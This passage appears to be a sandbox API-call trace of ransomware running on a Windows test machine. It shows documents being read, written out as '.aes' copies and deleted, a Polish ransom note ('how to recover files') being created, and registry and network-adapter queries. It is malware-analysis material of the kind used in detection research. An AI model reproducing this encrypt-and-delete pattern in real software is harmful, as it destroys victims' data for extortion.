[0077.283] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.283] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.283] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.283] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.283] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.284] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.284] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.284] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.284] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.284] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.284] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.284] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.284] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.285] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.285] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.285] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.285] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.285] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.285] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.286] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.286] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.286] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.286] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.286] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.286] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.286] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.287] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x774, lpOverlapped=0x0) returned 1 [0077.287] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8c0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8c0c*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0077.287] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x891, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce974*=0x891, lpOverlapped=0x0) returned 1 [0077.287] WriteFile (in: hFile=0x7ec, lpBuffer=0x2782eec*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2782eec*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0077.287] CloseHandle (hObject=0x7ec) returned 1 [0077.288] CloseHandle (hObject=0x8e4) returned 1 [0077.288] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf", lpFilePart=0x0) returned 0x38 [0077.288] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\0kc5Nr5.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\0kc5nr5.rtf")) returned 1 [0077.289] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x47 [0077.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0077.289] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0077.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0077.289] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x8e4) returned 0x0 [0077.289] RegQueryValueExW (in: hKey=0x8e4, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0077.290] RegQueryValueExW (in: hKey=0x8e4, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x27b13c8, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0077.290] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x47 [0077.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0077.290] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ec [0077.290] GetFileType (hFile=0x7ec) returned 0x1 [0077.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0077.290] GetFileType (hFile=0x7ec) returned 0x1 [0077.290] WriteFile (in: hFile=0x7ec, lpBuffer=0x27ba3c8*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x27ba3c8*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0077.291] CloseHandle (hObject=0x7ec) returned 1 [0077.291] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0077.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv", lpFilePart=0x0) returned 0x38 [0077.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0077.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\9oiefcy.csv"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4ba300, ftCreationTime.dwHighDateTime=0x1d2fd26, ftLastAccessTime.dwLowDateTime=0x7e614240, ftLastAccessTime.dwHighDateTime=0x1d2fc1d, ftLastWriteTime.dwLowDateTime=0x7e614240, ftLastWriteTime.dwHighDateTime=0x1d2fc1d, nFileSizeHigh=0x0, nFileSizeLow=0x5298)) returned 1 [0077.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0077.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv", lpFilePart=0x0) returned 0x38 [0077.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0077.308] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\9oiefcy.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0077.308] GetFileType (hFile=0x7ec) returned 0x1 [0077.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0077.308] GetFileType (hFile=0x7ec) returned 0x1 [0077.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv.aes", lpFilePart=0x0) returned 0x3c [0077.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0077.308] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv.aes" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\9oiefcy.csv.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0077.309] GetFileType (hFile=0x7c8) returned 0x1 [0077.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0077.309] GetFileType (hFile=0x7c8) returned 0x1 [0077.309] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0077.351] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0077.351] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0077.358] LocalFree (hMem=0x703ef10) returned 0x0 [0077.358] GetAdaptersAddresses () returned 0x6f [0077.363] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0077.363] GetAdaptersAddresses () returned 0x0 [0077.368] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0077.374] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0077.374] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0077.380] LocalFree (hMem=0x6ff2da0) returned 0x0 [0077.380] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0077.387] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0077.387] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0077.393] LocalFree (hMem=0x6ff2da0) returned 0x0 [0077.393] LocalFree (hMem=0x7074460) returned 0x0 [0077.393] GetBestInterfaceEx (in: pDestAddr=0x27da894*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0077.578] ReadFile (in: hFile=0x7ec, lpBuffer=0x26b8e44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8e44*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.579] ReadFile (in: hFile=0x7ec, lpBuffer=0x26b8e44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8e44*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.579] WriteFile (in: hFile=0x7c8, lpBuffer=0x2866ba0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2866ba0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.579] ReadFile (in: hFile=0x7ec, lpBuffer=0x26b8e44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8e44*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.580] WriteFile (in: hFile=0x7c8, lpBuffer=0x2866ba0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2866ba0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.580] ReadFile (in: hFile=0x7ec, lpBuffer=0x26b8e44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8e44*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.580] WriteFile (in: hFile=0x7c8, lpBuffer=0x2866ba0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2866ba0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.580] ReadFile (in: hFile=0x7ec, lpBuffer=0x26b8e44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8e44*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0077.580] WriteFile (in: hFile=0x7c8, lpBuffer=0x2866ba0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2866ba0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0077.580] ReadFile (in: hFile=0x7ec, lpBuffer=0x26b8e44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8e44*, lpNumberOfBytesRead=0x77cea50*=0x298, lpOverlapped=0x0) returned 1 [0077.580] ReadFile (in: hFile=0x7ec, lpBuffer=0x26b8e44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8e44*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0077.580] WriteFile (in: hFile=0x7c8, lpBuffer=0x2866ba0*, nNumberOfBytesToWrite=0x3b1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2866ba0*, lpNumberOfBytesWritten=0x77ce974*=0x3b1, lpOverlapped=0x0) returned 1 [0077.581] WriteFile (in: hFile=0x7c8, lpBuffer=0x2866ba0*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2866ba0*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0077.581] CloseHandle (hObject=0x7c8) returned 1 [0077.581] CloseHandle (hObject=0x7ec) returned 1 [0077.581] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv", lpFilePart=0x0) returned 0x38 [0077.581] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\9oIEfcy.csv" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\9oiefcy.csv")) returned 1 [0077.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x47 [0077.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0077.582] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84bb840, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe84bb840, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe84bb840, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0077.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0077.583] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0077.608] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf", lpFilePart=0x0) returned 0x36 [0077.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0077.608] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\a2yhs.rtf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ee44270, ftCreationTime.dwHighDateTime=0x1d2faed, ftLastAccessTime.dwLowDateTime=0x89006610, ftLastAccessTime.dwHighDateTime=0x1d2f8a6, ftLastWriteTime.dwLowDateTime=0x89006610, ftLastWriteTime.dwHighDateTime=0x1d2f8a6, nFileSizeHigh=0x0, nFileSizeLow=0x7e6)) returned 1 [0077.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0077.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf", lpFilePart=0x0) returned 0x36 [0077.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0077.609] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\a2yhs.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0077.609] GetFileType (hFile=0x7ec) returned 0x1 [0077.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0077.609] GetFileType (hFile=0x7ec) returned 0x1 [0077.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf.aes", lpFilePart=0x0) returned 0x3a [0077.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0077.609] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\A2yHS.rtf.aes" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\a2yhs.rtf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0077.609] GetFileType (hFile=0x7c8) returned 0x1 [0077.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0077.609] GetFileType (hFile=0x7c8) returned 0x1 [0077.609] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0077.623] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0077.623] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0077.630] LocalFree (hMem=0x703ef10) returned 0x0 [0077.630] 